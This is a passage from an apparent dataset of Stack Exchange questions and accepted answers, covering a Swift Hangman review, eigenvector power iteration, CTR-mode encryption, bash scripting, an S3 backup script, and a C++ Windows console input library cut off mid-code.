{    gameWord += \\(character) }func theUserWon() -> Bool {    for ch in gameWord.characters {        if \\(ch) == _ {            return false        }    }    return true}func theUserLost() -> Bool{    return guesses == 0}}"  , "title": "Hangman in Swift"  , "tags": "game;ios;swift;hangman"  , "accepted_answer": "There's a ton of code here.  For the purposes of this review, I'll be focusing on the HangmanBrain class (I've ignored everything else for this answer).  This class seems to be the core, so it's a good place to start.private struct Words {    static let Easy: [String] = [fireplace,apple,january,tooth,cookies,mysterious,essential,magenta,darling,pterodactyl]    static let Medium: [String] = [palace,thumb,eleven,monkey,hunter,wounds,wright,egypt,slaves,zipper]    static let Hard: [String] = [jazz,puff,jiff,sphinx,vex,pox,hajj,jinx,vine,mom]    static let numberOfWordsPerLevel = 10}I am a fan of declaring constants within structs like this.  However, I don't like what's being done here.We've severely limited the expandability of our game.Instead of this struct, our HangmanBrain class should be reworked to read in JSON to construct its word list.  For example:EasyWords.json{    wordList : {        difficulty : easy,        list : [            fireplace,            apple,            january,            tooth,            cookies,            mysterious,            essential,            magenta,            darling,            pterodactyl        ]    }}  Importantly here, we've defined a JSON structure.  Our app can come preloaded with EasyWords.json, MediumWords.json, and HardWords.json, but we can then easily add word lists in future updates just by adding JSON files.  As well, we can allow our app to download word lists from online.  We either simply point our app toward some API endpoint we develop, or we can come up with a way for the user to point toward an endpoint of their choosing to download custom word lists.  Of course, none of this is necessary yet... but if we ever want it to be an available option, we need to start with a more flexible way of loading our word lists in the first place.In addition to stripping the hard-coded word list from our source code and adding it as a resource, we should rethink how we're getting words.The HangmanBrain class has too much responsibility.  It should only be in charge of playing the game.  It shouldn't be in charge of generating the word to be played.  It should be told what word wants to be played.  So, let's use a property of type Generator<String> and just call next() on it to get the word to play.Now we can give our HangmanBrain game a generator to use.  One generator might load our objects from a JSON file and serve them up in random order.  Another might load the strings from a web server and serve them up in a predetermined order.  We can think of a million different ways to generate lists of words for the game to use.  Maybe one generator is based off user-inputted words for a multiplayer hangman?  When we decouple the list from the brain, we allow a lot more flexibility in our code.So, for example...class HangmanBrain {    // set this in init    var wordGenerator: Generator<String>    /* stuff */    // now, any time we need a word, we just call:    self.wordGenerator.next()    // when this call returns nil, the generator is out of words    // but generators don't have to ever return nil}Lastly (for this review), I think it's very important that we not use strings for setting the difficulty level.Instead, let's provide a difficulty enum:class HangmanBrain {    enum Difficulty: String {        case Easy = easy        case Medium = medium        case Hard = hard    }    // other stuff}The enum is still backed by a string, so when we need that string value for parsing JSON, we can access it (HangmanBrain.Difficulty.Easy.rawValue), but importantly, we've made it very explicit what sort of values to accept when we're looking for a difficulty."  } 
{  "id": "_scicomp.3470"  , "question": "To compute the eigenvector corresponding to a dominant eigenvalue of a matrix $A\\in\\mathbb{R}^{n\\times n}$, one could apply the Power Iteration: $$v_1=\\frac{Av_1}{\\|Av_1\\|}.$$1) in case $A$ is symmetric, eigenvectors are orthonormal. However, suppose that there are, e.g, two occurrences of the dominant eigenvalue $\\lambda_1$ corresponding to different eigenvectors. Does that mean that the method would yield inconsistent results on different invocation? The inconsistency means that the method could (assuming random initialization on each invocation) change direction of convergence (since the eigenvalues are the same)In case one needs the following dominant eigenvector, one usually performs Gram Schmidt orthonormalization, ie, removes component of the first eigenvector from the initialization to the second. Would this second vector converge to the eigenvector corresponding to the other occurence of dominanant eigenvalue $\\lambda_1$?2) in case of a general $A$, eigenvectors are not orthonormal. So, what would be the way to extract subsequent eigenvectors. In other words, would GS orthonormalization now make sense? It removes component from the first eigenvector, but, since the eigenvectors are not orthogonal, I'm not sure it the following matrix-vector multiplication adds the component back."  , "title": "Power Iteration on general matrices (with higher multiplicity of dominant eigenvalue)"  , "tags": "linear algebra;matrices;eigensystem"  , "accepted_answer": "1) In case of a multiple dominant eigenvalue (and no other of the same absolute value), the power itieration converges to the vector obtained by projecting the starting vector to the dominant eigenspace (if this vector is nonzero). These projections are orthogonal if the matrix is symmetric. Of course, if you start with different starting vectors you'll typically get different such projections.2) If the matrix is nondefective, the starting vector can be written in a unique way as a linear combination of eigenvectors to distinct eigenvalues. In this decomposition, it is easy to see what happens when you iterate. If the matrix is nondefective, the result is the same but the proof needs an additional limiting step. [Edit1] Note that in the nonsymmetric, nondefective case, the left and right eigenvectors form a biorthogonal system, and one must orthogonalize with a left eigenvector to get a particular right eigenvector.[Edit2]3) If the matrix has precisely two dominant eigenvalues, each of algebraic multiplicity 1, one has convergence if and only the starting vector isorthogonal to exactly one of the corresponding left eigenvectors, and then converges to the other. I leave it as an exercise to figure out what happens in the other degenerate cases possible.But why are you so concerned about the power iteration? it is generally a poor method, and it fails to converge if there are two different eigenvalues with (equal) maximal absolute value. Lanczos (in the symmetric case) or Arnoldi (in the nonsymmetric case) are far better."  } 
{  "id": "_cs.47775"  , "question": "I have a field in my data store which must take exactly 180 bits of information. Some users will choose to make this data encrypted, some won't, so some of those 180 bit fields will be ciphertext some will be plaintext. A boolean will indicate which one the user is using. The important thing here is that I need this field to be exactly 180 bits long.However, a 128-bit cipher will mean I have to put in 256 bits in as plaintext, which is fine, just use a buffer string, but this means that the output is 256 bits when what is stored must be exactly 180 bits. And I can't simply cut off the ciphertext or that would mess up the decryption."  , "title": "Encrypting a 180-bit plaintext into a 180 bit ciphertext with a 128-bit block cipher"  , "tags": "cryptography"  , "accepted_answer": "If you have a unique, unchanging identifier for each entry in your data store, you can use counter mode.A nice thing about counter mode turns a block cipher into a stream cipher. No matter what the block size is, CTR mode encrypts an $n$-bit plaintext into an $n$-bit ciphertext.In order to achieve that, CTR requires a unique counter value per block. Note: not just a unique counter value per message, but a unique counter value per block. The counter size is the same as the block size. In your case, you have messages that fit on two blocks, thus each message requires two counter values. If you have a unique identifier $k$ for each message, you can use $k$ and $k+1$ as the counter values for the two blocks (the second of which is partial) of the message.Thus you need a 127-bit unique identifier for each message (128-bit block, minus one bit to distinguish the two blocks inside each message). The only security requirement for these 127 bits is that they are never reused for a given key. The initial counter value to encrypt a message is often chosen randomly, but this is not a requirement, just a convenience to ensure uniqueness. Of course, to decrypt the data, you need to be able to recover the unique identifier associated with each entry.If your entries have some kind of unique identifier, which is often the case in databases, then you're set. Just remember that if you move data around or normalize it in a way that changes the identifiers, you will need to decrypt and reencrypt the data.Some crypto libraries may present CTR mode through a function that randomly generates the initial counter value and prepends it to the message (so you'd input a 160-bit plaintext and get back a 288-bit ciphertext). Use a library that lets you specify the initial counter value (almost all implementations will increment the counter by 1 for each successive block, so pick initial counter values that are even, but you'll need to be aware of the endianness used by your library).Keep in mind that encryption only gives you confidentiality, not integrity. In other words, someone who obtains the ciphertexts but not the key will not be able to find any information about the data; but if someone can inject fake ciphertexts or modify existing ciphertexts, the tampering cannot be detected. It is intrinsically impossible to detect tampering by cryptographic means in your scenario since there is no room for any redundancy."  } 
{  "id": "_unix.53275"  , "question": "I have bash script which was written for OS X and now ported to Linux. I don't have access to the Linux box. The bash script would read values from plist files using the defaults read and PlistBuddy command available on OS X. Since the Linux machine doesn't have these commands, I'm looking for workarounds. Is there library/script (Perl preferably) that helps user fetch values from plist files for a given key on a Linux machine? I tried using sed/awk, but the output isn't reliable. I've come across scripts like plutil.pl that convert a plist file to other formats.I have installed a Virtual machine running Ubuntu on my Mac so that I can test my changes before deploying to the actual Linux box."  , "title": "Fetch values from plist file on Linux"  , "tags": "linux;bash;scripting;osx;perl"  , "accepted_answer": "Since .plist files are already XML (or can be easily converted) you just need something to decode the XML.For that use xml2:$ cat com.apple.systemsound.plist<?xml version=1.0 encoding=UTF-8?><!DOCTYPE plist PUBLIC -//Apple//DTD PLIST 1.0//EN http://www.apple.com/DTDs/PropertyList-1.0.dtd><plist version=1.0><dict>    <key>com.apple.sound.beep.volume</key>    <real>1</real></dict></plist>$ xml2 < com.apple.systemsound.plist/plist/@version=1.0/plist/dict/key=com.apple.sound.beep.volume/plist/dict/real=1$ You should be able to figure out the rest.Or for Perl, use XML::Simple; (see perldoc for more) to put the XML data structure into a hash."  } 
{  "id": "_unix.328449"  , "question": "How can I do parallel processing in bash?My approach, in my bash script, added so many background jobs with &, and then I am adding each process id using an array, then I am fetching that array using a loop and inside that I am using wait command, but somehow wait command is not working. my code is like thisfor i in some path do     ls -d $i | xargs du -kh --max-depth=0 |sed 's/\\t/,/g' >> $TEMP/Outfile/disk_usage_Session_wise.csv &     pid=$!    ls -d $i/session | xargs du -kh --max-depth=1 | sed 's/\\t/,/g' >> $TEMP/Outfile/disk_usage_Session_wise.csv &     pid_1=$!     process_list=($pid $pid_1) done for job in echo ${process_list[@]}     do     echo $job is running     wait $job # this command is not working done "  , "title": "how to wait for many background jobs in bash"  , "tags": "bash"  } 
{  "id": "_unix.139036"  , "question": "I'm trying to set up a screenrc file that opens a few windows, and in one of them I'd like to start a shell and start vim within it (rather than starting vim directly). I've tried things along the lines ofscreen -t vim -ln 1 bash -c vimbut that seems to open vim directly (if I quit vim, the window is killed, whereas I'd like to simply return to the shell in that window). How can I set this up correctly?"  , "title": "GNU Screen: how to start a bash process and execute a command within it?"  , "tags": "bash;gnu screen"  } 
{  "id": "_unix.271726"  , "question": "I am a bit new to Linux and I know this is late but I recently read about how Linux Mint 17.3 was hacked on February 20th and I want to make sure my version isn't hacked. I originally installed Linux Mint 17.2 back in August and I upgraded to 17.3 via the Update Manager. While I am unsure of the exact date I did this, I believe it was sometime around the date in question. In order to make sure I don't have an infected system I would like to know the answers to a few questions that would greatly help me.1) First, if I already had Linux Mint installed on my computer and I simply upgraded from Rosa to Cinnamon via the Update Manager, am I ok?2) If not, is there a way I can simply view when I upgraded my OS in the terminal?3) If not, I have read the Linux Mint blog post about how to check if my ISO is compromised using the md5sum command, but in order to do that, I need to find the ISO file. Where would that be located on my computer?"  , "title": "How to check if I downloaded a hacked version of Linux Mint 17.3"  , "tags": "linux mint"  } 
{  "id": "_cstheory.38808"  , "question": "I have text snippets (resources) that I collect from all over the internet which I then upload to a cloud database, include a reference, give it a resource ID, and TAG the text for later retrieval. What complicates things a bit, is that the TAGS can appear in one of three different places (tiers) for each resource based on its significance or relevance to that specific text. I am looking to write a machine  learning program that can sort the tagged text in an appropriate order (so that I do not have to search through the whole database for specific content) that I can then export into a document that I can work of.The content looks pretty much like a Wordpress blog post with tags, it's just that the tags are in three different tiers that I want the ML program to search for.Does ML software like this exist, or is it better to just design it myself from scratch? (Not sure if this makes sense..."  , "title": "Machine learning for tagged text"  , "tags": "machine learning;software"  } 
{  "id": "_codereview.95008"  , "question": "I'm working on a script to backup S3 to GC everyday. I'm not sure if my script has any potential bug or error that might have destroyed anything from both sides? The data is quite sensitive and I don't want to mess it up. Anything is welcomed. #!/bin/shif hash aws 2>/dev/null; then    echo 'awscli is installed.'else    echo 'Please install awscli by running sudo pip install awscli'    exitfiif hash gsutil 2>/dev/null; then    echo 'gsutil is installed.'else    echo 'Please install gsutil by running sudo pip install gsutil'fiif env | grep -q ^BACKUP_TO_EMAIL=then    echo After backup is done email will be send to $BACKUP_TO_EMAILelse    echo BACKUP_TO_EMAIL is not set please set it    exitfiif env | grep -q ^S3_BUCKET=then    echo Checking if $S3_BUCKET exists    if aws s3 ls s3://$S3_BUCKET 2>&1 | grep -q 'AllAccessDisabled'       then        echo bucket $S3_BUCKET doesn't exist please check again.        exit    fielse    echo 'S3_BUCKET is not set please set it'    exitfiif env | grep -q ^GC_BUCKET=then    echo Checking if $GC_BUCKET exists    if gsutil ls gs://$GC_BUCKET 2>&1 | grep -q 'AccessDeniedException'    then        echo bucket $GC_BUCKET doesn't exist please check again.        exit    fielse    echo 'GC_BUCKET is not set please set it'    exitfiecho Backing up now...#`gsutil -m rsync -r s3://$S3_BUCKET gs://$GC_BUCKET`echo Creating new backup folderdatestamp=$(date +%m%d%y)mkdir $datestampecho Downloading backupaws s3 sync s3://$S3_BUCKET $datestampecho Compressing site backuptar -zcvf $datestamp.tar.gz $datestampfile=$datestamp.tar.gzrm -rf $datestampecho Uploading to GCgsutil cp $file gs://$GC_BUCKETecho Deleting temporary filesrm $fileecho Sending emailbody=Backup is complete and the file is in gs://$GC_BUCKET/$fileecho $body | mail $BACKUP_TO_EMAIL -s S3 to GS backup"  , "title": "Bash script to backup from S3 to GC"  , "tags": "bash;amazon s3"  , "accepted_answer": "Looks mostly pretty good.When exiting with error, it's a good practice to specify a non-zero exit code, for example exit 1.This looks odd:if env | grep -q ^S3_BUCKET=then    echo Checking if $S3_BUCKET exists    if aws s3 ls s3://$S3_BUCKET 2>&1 | grep -q 'AllAccessDisabled'It's odd to check environment variables using env | grep.And in this example, it looks error-prone too,because S3_BUCKET might be defined empty, with no values.I don't know aws, but I have a strong feeling that in case of S3_BUCKET= (empty) you would rather raise an error than run execute aws s3 ls s3://.I suggest to replace with a simple variable check:if test $S3_BUCKET; thenIn this code:tar -zcvf $datestamp.tar.gz $datestampfile=$datestamp.tar.gzIt would be better to set file first, and then use it in the tarI like to avoid nested if statements when possible. For example here:if env | grep -q ^S3_BUCKET=then    echo Checking if $S3_BUCKET exists    if aws s3 ls s3://$S3_BUCKET 2>&1 | grep -q 'AllAccessDisabled'       then        echo bucket $S3_BUCKET doesn't exist please check again.        exit    fielse    echo 'S3_BUCKET is not set please set it'    exitfiI would flatten by inverting the outer if:if test ! $S3_BUCKETthen    echo 'S3_BUCKET is not set please set it'    exit 1fiecho Checking if $S3_BUCKET existsif aws s3 ls s3://$S3_BUCKET 2>&1 | grep -q 'AllAccessDisabled'   then    echo bucket $S3_BUCKET doesn't exist please check again.    exit 1fi"  } 
{  "id": "_cs.70712"  , "question": "So I am trying to work on a problem and honestly... I am so lost with this one. I will try to ask it the best I can.Exact text of the problem: Prove the following directly from the definition of Big Theta; 100,000,000 is a member of the set of functions defined by Big Theta of g(n), where g(n) = 1Additionally, the definition in question is [Click here to see definition]Basically, I don't understand the definition and I don't understand the question. I understand that this chapter is talking about asymptotic behavior, and how given 2 different functions these 1 number could grow faster than the other up to a certain point and then it would switch. Example, Using 1 and 100,000,000 as n. In the following 2 functions 1 is larger number using 1... and then the other one is larger when you 100,000,000.1,000,000n and n^2Perhaps someone can help put the definition and question into words I can understand a little better."  , "title": "Prove 100,000,000 is a member of the set of functions defined by Big Theta of g(n), where g(n) = 1"  , "tags": "algorithms"  } 
{  "id": "_webapps.102433"  , "question": "I would like to transpose an array and divide the transposed output by a number for every single cell of the array. Example (not functional):=TRANSPOSE('1/3/2017'!O2:S2)/COUNTA('1/3/2017'!A2:A108)"  , "title": "How to transpose and divide by a number?"  , "tags": "google spreadsheets"  } 
{  "id": "_codereview.79118"  , "question": "How can I improve it?#include <iostream>#include <deque>#include <string>#include <stdexcept>#include <Windows.h>namespace ms{    typedef signed   char Int8;    typedef unsigned char Uint8;    typedef signed   short Int16;    typedef unsigned short Uint16;    typedef signed   int Int32;    typedef unsigned int Uint32;    typedef signed   __int64 Int64;    typedef unsigned __int64 Uint64;    struct NonCopyable    {        NonCopyable() = default;        virtual ~NonCopyable() = default;        NonCopyable(const NonCopyable &) = delete;        NonCopyable(const NonCopyable &&) = delete;        NonCopyable& operator = (const NonCopyable&) = delete;    };    template <typename T>    struct Vector2    {        Vector2();        Vector2(T X, T Y);        T x;        T y;    };    template <typename T>    bool operator !=(const Vector2<T>& V1, const Vector2<T>& V2);    template <typename T>    Vector2<T>::Vector2() : x(), y(){   }    template <typename T>    Vector2<T>::Vector2(T X, T Y) : x(X), y(Y){ }    template <typename T>    Vector2<T> operator -(const Vector2<T>& V)    {        return Vector2<T>(-V.x, -V.y);    }    template <typename T>    Vector2<T>& operator +=(Vector2<T>& V1, const Vector2<T>& V2)    {        V1.x += V2.x;        V1.y += V2.y;        return V1;    }    template <typename T>    Vector2<T>& operator -=(Vector2<T>& V1, const Vector2<T>& V2)    {        V1.x -= V2.x;        V1.y -= V2.y;        return V1;    }    template <typename T>    Vector2<T> operator +(const Vector2<T>& V1, const Vector2<T>& V2)    {        return Vector2<T>(V1.x + V2.x, V1.y + V2.y);    }    template <typename T>    Vector2<T> operator -(const Vector2<T>& V1, const Vector2<T>& V2)    {        return Vector2<T>(V1.x - V2.x, V1.y - V2.y);    }    template <typename T>    Vector2<T> operator *(const Vector2<T>& V, T X)    {        return Vector2<T>(V.x * X, V.y * X);    }    template <typename T>    Vector2<T> operator *(T X, const Vector2<T>& V)    {        return Vector2<T>(V.x * X, V.y * X);    }    template <typename T>    Vector2<T>& operator *=(Vector2<T>& V, T X)    {        V.x *= X;        V.y *= X;        return V;    }    template <typename T>    Vector2<T> operator /(const Vector2<T>& V, T X)    {        return Vector2<T>(V.x / X, V.y / X);    }    template <typename T>    Vector2<T>& operator /=(Vector2<T>& V, T X)    {        V.x /= X;        V.y /= X;        return V;    }    template <typename T>    bool operator ==(const Vector2<T>& V1, const Vector2<T>& V2)    {        return (V1.x == V2.x) && (V1.y == V2.y);    }    template <typename T>    bool operator !=(const Vector2<T>& V1, const Vector2<T>& V2)    {        return (V1.x != V2.x) || (V1.y != V2.y);    }    typedef Vector2<int>   Vector2i;    typedef Vector2<float> Vector2f;    typedef Vector2<Uint32> Vector2u;    struct Mouse    {        enum Button        {            Left,                   Right,                  Middle,                 XButton1,               XButton2,               ButtonCount         };        static bool isButtonPressed(Button button);        static Vector2i getPosition();        static void setPosition(const Vector2i& position);    };    struct Keyboard    {        enum Key        {            Unknown = -1,            A = 0,                    B,                        C,                        D,                        E,                       F,                        G,                        H,                        I,                        J,                        K,                     L,                       M,                        N,                        O,                       P,                       Q,                       R,                      S,                       T,                        U,                        V,                        W,                       X,                       Y,                       Z,                        Num0,                     Num1,                     Num2,                     Num3,                     Num4,                    Num5,                     Num6,                    Num7,                     Num8,                     Num9,                     Escape,                   LControl,                 LShift,                   LAlt,                    LSystem,                  RControl,                 RShift,                  RAlt,                     RSystem,                  Menu,                     LBracket,                 RBracket,                 SemiColon,                Comma,                    Period,                   Quote,                    Slash,                    BackSlash,                Tilde,                    Equal,                    Dash,                     Space,                   Return,                   BackSpace,                Tab,                     PageUp,                  PageDown,                End,                      Home,                     Insert,                   Delete,                   Add,                     Subtract,                 Multiply,                Divide,                   Left,                    Right,                    Up,                    Down,                   Numpad0,                 Numpad1,                  Numpad2,                 Numpad3,                 Numpad4,                Numpad5,                Numpad6,                Numpad7,                  Numpad8,                 Numpad9,                 F1,                     F2,                       F3,                     F4,                      F5,                      F6,                       F7,                       F8,                    F9,                       F10,                     F11,                     F12,                      F13,                      F14,                      F15,                      Pause,                    KeyCount              };        static bool isKeyPressed(Key key);    };    namespace priv    {        struct InputImpl : NonCopyable        {            static bool isKeyPressed(Keyboard::Key key);            static bool isMouseButtonPressed(Mouse::Button button);            static Vector2i getMousePosition();            static void setMousePosition(const Vector2i& position);        };        bool InputImpl::isKeyPressed(Keyboard::Key key)        {            int vkey = 0;            switch (key)            {            default:                   vkey = 0;             break;            case Keyboard::A:          vkey = 'A';           break;            case Keyboard::B:          vkey = 'B';           break;            case Keyboard::C:          vkey = 'C';           break;            case Keyboard::D:          vkey = 'D';           break;            case Keyboard::E:          vkey = 'E';           break;            case Keyboard::F:          vkey = 'F';           break;            case Keyboard::G:          vkey = 'G';           break;            case Keyboard::H:          vkey = 'H';           break;            case Keyboard::I:          vkey = 'I';           break;            case Keyboard::J:          vkey = 'J';           break;            case Keyboard::K:          vkey = 'K';           break;            case Keyboard::L:          vkey = 'L';           break;            case Keyboard::M:          vkey = 'M';           break;            case Keyboard::N:          vkey = 'N';           break;            case Keyboard::O:          vkey = 'O';           break;            case Keyboard::P:          vkey = 'P';           break;            case Keyboard::Q:          vkey = 'Q';           break;            case Keyboard::R:          vkey = 'R';           break;            case Keyboard::S:          vkey = 'S';           break;            case Keyboard::T:          vkey = 'T';           break;            case Keyboard::U:          vkey = 'U';           break;            case Keyboard::V:          vkey = 'V';           break;            case Keyboard::W:          vkey = 'W';           break;            case Keyboard::X:          vkey = 'X';           break;            case Keyboard::Y:          vkey = 'Y';           break;            case Keyboard::Z:          vkey = 'Z';           break;            case Keyboard::Num0:       vkey = '0';           break;            case Keyboard::Num1:       vkey = '1';           break;            case Keyboard::Num2:       vkey = '2';           break;            case Keyboard::Num3:       vkey = '3';           break;            case Keyboard::Num4:       vkey = '4';           break;            case Keyboard::Num5:       vkey = '5';           break;            case Keyboard::Num6:       vkey = '6';           break;            case Keyboard::Num7:       vkey = '7';           break;            case Keyboard::Num8:       vkey = '8';           break;            case Keyboard::Num9:       vkey = '9';           break;            case Keyboard::Escape:     vkey = VK_ESCAPE;     break;            case Keyboard::LControl:   vkey = VK_LCONTROL;   break;            case Keyboard::LShift:     vkey = VK_LSHIFT;     break;            case Keyboard::LAlt:       vkey = VK_LMENU;      break;            case Keyboard::LSystem:    vkey = VK_LWIN;       break;            case Keyboard::RControl:   vkey = VK_RCONTROL;   break;            case Keyboard::RShift:     vkey = VK_RSHIFT;     break;            case Keyboard::RAlt:       vkey = VK_RMENU;      break;            case Keyboard::RSystem:    vkey = VK_RWIN;       break;            case Keyboard::Menu:       vkey = VK_APPS;       break;            case Keyboard::LBracket:   vkey = VK_OEM_4;      break;            case Keyboard::RBracket:   vkey = VK_OEM_6;      break;            case Keyboard::SemiColon:  vkey = VK_OEM_1;      break;            case Keyboard::Comma:      vkey = VK_OEM_COMMA;  break;            case Keyboard::Period:     vkey = VK_OEM_PERIOD; break;            case Keyboard::Quote:      vkey = VK_OEM_7;      break;            case Keyboard::Slash:      vkey = VK_OEM_2;      break;            case Keyboard::BackSlash:  vkey = VK_OEM_5;      break;            case Keyboard::Tilde:      vkey = VK_OEM_3;      break;            case Keyboard::Equal:      vkey = VK_OEM_PLUS;   break;            case Keyboard::Dash:       vkey = VK_OEM_MINUS;  break;            case Keyboard::Space:      vkey = VK_SPACE;      break;            case Keyboard::Return:     vkey = VK_RETURN;     break;            case Keyboard::BackSpace:  vkey = VK_BACK;       break;            case Keyboard::Tab:        vkey = VK_TAB;        break;            case Keyboard::PageUp:     vkey = VK_PRIOR;      break;            case Keyboard::PageDown:   vkey = VK_NEXT;       break;            case Keyboard::End:        vkey = VK_END;        break;            case Keyboard::Home:       vkey = VK_HOME;       break;            case Keyboard::Insert:     vkey = VK_INSERT;     break;            case Keyboard::Delete:     vkey = VK_DELETE;     break;            case Keyboard::Add:        vkey = VK_ADD;        break;            case Keyboard::Subtract:   vkey = VK_SUBTRACT;   break;            case Keyboard::Multiply:   vkey = VK_MULTIPLY;   break;            case Keyboard::Divide:     vkey = VK_DIVIDE;     break;            case Keyboard::Left:       vkey = VK_LEFT;       break;            case Keyboard::Right:      vkey = VK_RIGHT;      break;            case Keyboard::Up:         vkey = VK_UP;         break;            case Keyboard::Down:       vkey = VK_DOWN;       break;            case Keyboard::Numpad0:    vkey = VK_NUMPAD0;    break;            case Keyboard::Numpad1:    vkey = VK_NUMPAD1;    break;            case Keyboard::Numpad2:    vkey = VK_NUMPAD2;    break;            case Keyboard::Numpad3:    vkey = VK_NUMPAD3;    break;            case Keyboard::Numpad4:    vkey = VK_NUMPAD4;    break;            case Keyboard::Numpad5:    vkey = VK_NUMPAD5;    break;            case Keyboard::Numpad6:    vkey = VK_NUMPAD6;    break;            case Keyboard::Numpad7:    vkey = VK_NUMPAD7;    break;            case Keyboard::Numpad8:    vkey = VK_NUMPAD8;    break;            case Keyboard::Numpad9:    vkey = VK_NUMPAD9;    break;            case Keyboard::F1:         vkey = VK_F1;         break;            case Keyboard::F2:         vkey = VK_F2;         break;            case Keyboard::F3:         vkey = VK_F3;         break;            case Keyboard::F4:         vkey = VK_F4;         break;            case Keyboard::F5:         vkey = VK_F5;         break;            case Keyboard::F6:         vkey = VK_F6;         break;            case Keyboard::F7:         vkey = VK_F7;         break;            case Keyboard::F8:         vkey = VK_F8;         break;            case Keyboard::F9:         vkey = VK_F9;         break;            case Keyboard::F10:        vkey = VK_F10;        break;            case Keyboard::F11:        vkey = VK_F11;        break;            case Keyboard::F12:        vkey = VK_F12;        break;            case Keyboard::F13:        vkey = VK_F13;        break;            case Keyboard::F14:        vkey = VK_F14;        break;            case Keyboard::F15:        vkey = VK_F15;        break;            case Keyboard::Pause:      vkey = VK_PAUSE;      break;            }            return (GetAsyncKeyState(vkey) & 0x8000) != 0;        }        bool InputImpl::isMouseButtonPressed(Mouse::Button button)        {            int vkey = 0;            switch (button)            {            case Mouse::Left:     vkey = GetSystemMetrics(SM_SWAPBUTTON) ? VK_RBUTTON : VK_LBUTTON; break;            case Mouse::Right:    vkey = GetSystemMetrics(SM_SWAPBUTTON) ? VK_LBUTTON : VK_RBUTTON; break;            case Mouse::Middle:   vkey = VK_MBUTTON;  break;            case Mouse::XButton1: vkey = VK_XBUTTON1; break;            case Mouse::XButton2: vkey = VK_XBUTTON2; break;            default:              vkey = 0;           break;            }            return (GetAsyncKeyState(vkey) & 0x8000) != 0;        }        ////////////////////////////////////////////////////////////        Vector2i InputImpl::getMousePosition()        {            HWND handle = GetConsoleWindow();            if (handle)            {                COORD tempfontsize = { 0, 0 };                CONSOLE_FONT_INFOEX cfix = { 0 };                cfix.cbSize = sizeof(CONSOLE_FONT_INFOEX);                if (GetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfix))                {                    tempfontsize = GetConsoleFontSize(GetStdHandle(STD_OUTPUT_HANDLE), cfix.nFont);                }                POINT pos = { 0, 0 };                if (!GetCursorPos(&pos) && ScreenToClient(GetConsoleWindow(), &pos))                {                    throw failed to GetCursorPos(&pos);                }                Vector2i delta = { 0, 0 };                ScreenToClient(GetConsoleWindow(), &pos);                delta.x = pos.x / tempfontsize.X;                delta.y = pos.y / tempfontsize.Y;                return delta;            }            else            {                return Vector2i();            }        }        void InputImpl::setMousePosition(const Vector2i& position)        {            HWND handle = GetConsoleWindow();            if (handle)            {                POINT point = { position.x, position.y };                ClientToScreen(handle, &point);                SetCursorPos(point.x, point.y);            }        }    } // namespace priv    bool Keyboard::isKeyPressed(Key key)    {        return priv::InputImpl::isKeyPressed(key);    }    bool Mouse::isButtonPressed(Button button)    {        return priv::InputImpl::isMouseButtonPressed(button);    }    Vector2i Mouse::getPosition()    {        return priv::InputImpl::getMousePosition();    }    void Mouse::setPosition(const Vector2i& position)    {        priv::InputImpl::setMousePosition(position);    }    struct Event : NonCopyable    {        struct SizeEvent        {            unsigned int width;              unsigned int height;         };        struct KeyEvent        {            Keyboard::Key code;                bool          alt;                 bool          control;             bool          shift;               bool          system;          };        struct TextEvent        {            Uint32 unicode;         };        struct MouseMoveEvent        {            int x;             int y;         };        struct MouseButtonEvent        {            Mouse::Button button;             int           x;                  int           y;              };        struct MouseWheelEvent        {            int delta;             int x;                 int y;             };        enum EventType        {            Closed,                            Resized,                           TextEntered,                       KeyPressed,                        KeyReleased,                        MouseWheelMoved,                    MouseButtonPressed,                 MouseButtonReleased,                MouseMoved,                         MouseEntered,                       MouseLeft,                          Count                          };        EventType type;         union        {            SizeEvent            size;                KeyEvent             key;                   TextEvent            text;                     MouseMoveEvent       mouseMove;                MouseButtonEvent     mouseButton;                 MouseWheelEvent      mouseWheel;              };    };    namespace priv    {        Keyboard::Key KeyConvert(const WORD Key)        {            if ((Key >= 'A' && Key <= 'Z') || (Key >= '1' && Key <= '9') || Key == '0')            {                return Keyboard::Key(Key);            }            if (Key == VK_RETURN) return Keyboard::Return;            if (Key == VK_ESCAPE) return Keyboard::Escape;            if (Key == VK_TAB) return Keyboard::Tab;            return Keyboard::Unknown;        }    }    struct Console : NonCopyable    {        Console(short left, short top, short width, short height, const std::string& rStrTitle, short rWidth = 8, short rHeight = 12);        void setFontSize(short& rWidth, short& rHeight);        void title(const std::string& rStrTitle);        void resize(const short width, const short height);        bool pollEvent(Event& ev);        POINT getMousePosition() const;    private:        COORD getFontSize() const;        void setPosition(short left, short top);        std::deque<POINT> mMouseMoveQueue;    };    Console::Console(short left, short top, short width, short height, const std::string& rStrTitle, short rWidth, short rHeight)    {        if (!SetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), ENABLE_WINDOW_INPUT | ENABLE_MOUSE_INPUT))        {            throw failed to SetConsoleMode();        }        setPosition(left, top);        title(rStrTitle);        resize(width, height);        setFontSize(rWidth, rHeight);    }    void Console::setFontSize(short& rWidth, short& rHeight)    {        CONSOLE_FONT_INFOEX cfix = { 0 };        COORD cfs1 = { 0, 0 }, cfs2 = { 0, 0 };        short w = rWidth, h = rHeight;        cfix.cbSize = sizeof(CONSOLE_FONT_INFOEX);        rWidth = 0;        rHeight = 0;        if (GetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfix))        {            cfs1 = GetConsoleFontSize(GetStdHandle(STD_OUTPUT_HANDLE), cfix.nFont);            if (cfs1.X && cfs1.Y)            {                cfix.dwFontSize.X = w;                cfix.dwFontSize.Y = h;                if (SetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfix)                    && GetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfix))                {                    cfs2 = GetConsoleFontSize(GetStdHandle(STD_OUTPUT_HANDLE), cfix.nFont);                    if (cfs2.X && cfs2.Y)                    {                        rWidth = cfs2.X;                        rHeight = cfs2.Y;                    }                }            }        }    }    void Console::setPosition(short left, short top)    {        SetWindowPos(GetConsoleWindow(), NULL, left, top, 0, 0, SWP_NOZORDER | SWP_NOSIZE);    }    COORD Console::getFontSize() const    {        COORD tempfontsize = { 0, 0 };        CONSOLE_FONT_INFOEX cfix = { 0 };        cfix.cbSize = sizeof(CONSOLE_FONT_INFOEX);        if (GetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfix))        {            tempfontsize = GetConsoleFontSize(GetStdHandle(STD_OUTPUT_HANDLE), cfix.nFont);        }        return tempfontsize;    }    void 